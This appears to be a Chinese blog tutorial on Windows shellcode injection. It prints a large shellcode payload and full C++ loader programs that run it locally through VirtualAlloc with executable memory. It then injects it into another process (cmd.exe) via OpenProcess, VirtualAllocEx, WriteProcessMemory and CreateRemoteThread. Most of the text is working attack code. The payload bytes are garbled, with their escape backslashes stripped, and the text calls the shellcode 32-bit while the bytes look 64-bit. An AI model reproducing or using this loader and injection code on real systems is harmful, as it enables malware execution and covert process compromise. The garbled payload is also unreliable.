shellcode注入原理

unsigned char buf[] = 
"x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
"xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
"xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
"x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
"x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
"xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
"x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
"x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
"x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
"x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
"x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
"x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
"x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
"xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
"x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
"x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
"x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
"xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
"x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
"xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
"x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
"xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
"x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
"x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
"xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
"xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
"x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
"x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
"x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
"x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
"x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
"x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
"x65x4bx99x46xd5xdbx11xd7";

 上面是一段shellcode 如果我们直接写入会不会执行呐?

// ConsoleApplication5.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


unsigned char buf[] = 
"x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
"xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
"xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
"x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
"x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
"xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
"x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
"x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
"x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
"x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
"x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
"x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
"x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
"xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
"x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
"x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
"x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
"xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
"x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
"xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
"x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
"xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
"x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
"x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
"xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
"xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
"x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
"x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
"x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
"x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
"x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
"x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
"x65x4bx99x46xd5xdbx11xd7";
 
typedef void(*PFN_FOO)();
int main()
{
	PFN_FOO f = (PFN_FOO)(void *)buf;
f();
}

 我们可以看见内存区域可读可写不可以执行,因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区

 VirtualAlloc

LPVOID VirtualAlloc(  LPVOID lpAddress,        // region to reserve or commit

  SIZE_T dwSize,           // size of region

  DWORD flAllocationType,  // type of allocation

  DWORD flProtect          // type of access protection);

这里来申请一块

LPVOID lpAddr = VirtualAlloc(
			NULL,	//表示任意地址,随机分配
			1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
			MEM_COMMIT,	//告诉操作系统给分配一块内存
			PAGE_EXECUTE_READWRITE
		);
 
	if (lpAddr == NULL){
		printf("Alloc error!");
		return 0;
}

 可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉

memcpy(lpAddr, data, sizeof(data));
 
typedef void(*PFN_FOO)();
PFN_FOO f = (PFN_FOO)(void*)lpAddr;
f();
 
VirtualFree(lpAddr,1,MEM_DECOMMIT);

完整代码

// ConsoleApplication5.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "Windows.h"
#include "iostream"


unsigned char buf[] = 
"x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
"xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
"xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
"x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
"x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
"xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
"x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
"x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
"x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
"x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
"x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
"x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
"x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
"xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
"x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
"x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
"x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
"xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
"x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
"xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
"x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
"xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
"x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
"x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
"xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
"xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
"x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
"x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
"x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
"x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
"x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
"x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
"x65x4bx99x46xd5xdbx11xd7";
 
typedef void(*PFN_FOO)();
int main()

{

    LPVOID lpAddr = VirtualAlloc(

            NULL,    //表示任意地址,随机分配

            1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节

            MEM_COMMIT,    //告诉操作系统给分配一块内存

            PAGE_EXECUTE_READWRITE

        );

 

    if (lpAddr == NULL){

        printf("Alloc error!");

        return 0;

    }

    //到这里表示能够成功分配内存

    memcpy(lpAddr, buf, sizeof(buf));

 

    typedef void(*PFN_FOO)();

    PFN_FOO f = (PFN_FOO)(void*)lpAddr;

    f();

 

    VirtualFree(lpAddr,1,MEM_DECOMMIT);

 

    return 0;
}

VirtualAllocEx指定进程开辟内存空间

LPVOID VirtualAllocEx(  HANDLE hProcess,          // process to allocate memory
  LPVOID lpAddress,         // desired starting address 
  SIZE_T dwSize,            // size of region to allocate
  DWORD flAllocationType,   // type of allocation
  DWORD flProtect           // type of access protection);

 代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的

//获取快照
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pe32;
	DWORD pid = 0;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	//查看第一个进程
	BOOL bRet = Process32First(hSnap, &pe32);
 
	while (bRet)
	{
		bRet = Process32Next(hSnap, &pe32);
		if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){
			pid = pe32.th32ProcessID;
			break;
		}
	}
	//获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

 在目标进程开辟空间

	//1.在目标进程开辟空间
	LPVOID lpAddr = VirtualAllocEx(
		hProcess,	//在目标进程中开辟空间
		NULL,	//表示任意地址,随机分配
		1,	//内存通常是以分页为单位来给空间 1页=4k 4096字节
		MEM_COMMIT,	//告诉操作系统给分配一块内存
		PAGE_EXECUTE_READWRITE
		);
 
	if (lpAddr == NULL){
		printf("Alloc error!");
		return 0;
	}
 
然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的
WriteProcessMemory
BOOL WriteProcessMemory(

  HANDLE hProcess,                // handle to process

  LPVOID lpBaseAddress,           // base of memory area

  LPCVOID lpBuffer,               // data buffer

  SIZE_T nSize,                   // count of bytes to write

  SIZE_T * lpNumberOfBytesWritten // count of bytes written);

 这里写入我们的shellcode

	//2.在目标进程中写入代码

	bRet = WriteProcessMemory(

		hProcess,	//目标进程

		lpAddr,	//目标地址	目标进程中

		data,	//源数据	当前进程中

		sizeof(data),	//写多大

		&dwWritesBytes //成功写入的字节数

		);

	if (!bRet){

		VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);

		return 0;

	}
写进去了还要调用才能执行,创建远程线程
CreateRemoteThread
HANDLE CreateRemoteThread(

  HANDLE hProcess,                          // handle to process

  LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD

  SIZE_T dwStackSize,                       // initial stack size

  LPTHREAD_START_ROUTINE lpStartAddress,    // thread function

  LPVOID lpParameter,                       // thread argument

  DWORD dwCreationFlags,                    // creation option

  LPDWORD lpThreadId                        // thread identifier);

 返回目标进程的线程

//3.向目标程序调用一个线程 创建远程线程  执行写入代码
	HANDLE hRemoteThread = CreateRemoteThread(hProcess,	//目标进程
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)lpAddr,	//目标进程的回调函数
		NULL,	//回调参数
		0,
		NULL
		);

 这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放
完成代码为

// shellcode.cpp : 定义控制台应用程序的入口点。
//
 
#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
 
/* length: 799 bytes */
unsigned char buf[] =
"x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
"xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
"xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
"x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
"x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
"xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
"x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
"x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
"x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
"x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
"x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
"x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
"x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
"xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
"x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
"x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
"x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
"xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
"x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
"xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
"x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
"xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
"x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
"x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
"xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
"xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
"x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
"x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
"x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
"x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
"x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
"x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
"x65x4bx99x46xd5xdbx11xd7";
 
typedef void(*PFN_FOO)();
 
int main()
{
    //获取快照
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    DWORD pid = 0;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    //查看第一个进程
    BOOL bRet = Process32First(hSnap, &pe32);
 
    while (bRet)
    {
        bRet = Process32Next(hSnap, &pe32);
        if (wcscmp(pe32.szExeFile, L"cmd.exe") == 0){
            pid = pe32.th32ProcessID;
            break;
        }
    }
    //获取进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
 
    //1.在目标进程开辟空间
    LPVOID lpAddr = VirtualAllocEx(
        hProcess,    //在目标进程中开辟空间
        NULL,    //表示任意地址,随机分配
        1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节
        MEM_COMMIT,    //告诉操作系统给分配一块内存
        PAGE_EXECUTE_READWRITE
        );
 
    if (lpAddr == NULL){
        printf("Alloc error!");
        return 0;
    }
 
    SIZE_T dwWritesBytes = 0;
 
    //2.在目标进程中写入代码
    bRet = WriteProcessMemory(
        hProcess,    //目标进程
        lpAddr,    //目标地址    目标进程中
        buf,    //源数据    当前进程中
        sizeof(buf),    //写多大
        &dwWritesBytes //成功写入的字节数
        );
    if (!bRet){
        VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
        return 0;
    }
 
    //3.向目标程序调用一个线程 创建远程线程 执行写入代码
    HANDLE hRemoteThread = CreateRemoteThread(hProcess,    //目标进程
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)lpAddr,    //目标进程的回调函数
        NULL,    //回调参数
        0,
        NULL
        );
 
 
    return 0;
}

RE

https://www.cnblogs.com/yicunyiye/p/13696373.html
原文地址:https://www.cnblogs.com/-zhong/p/13761382.html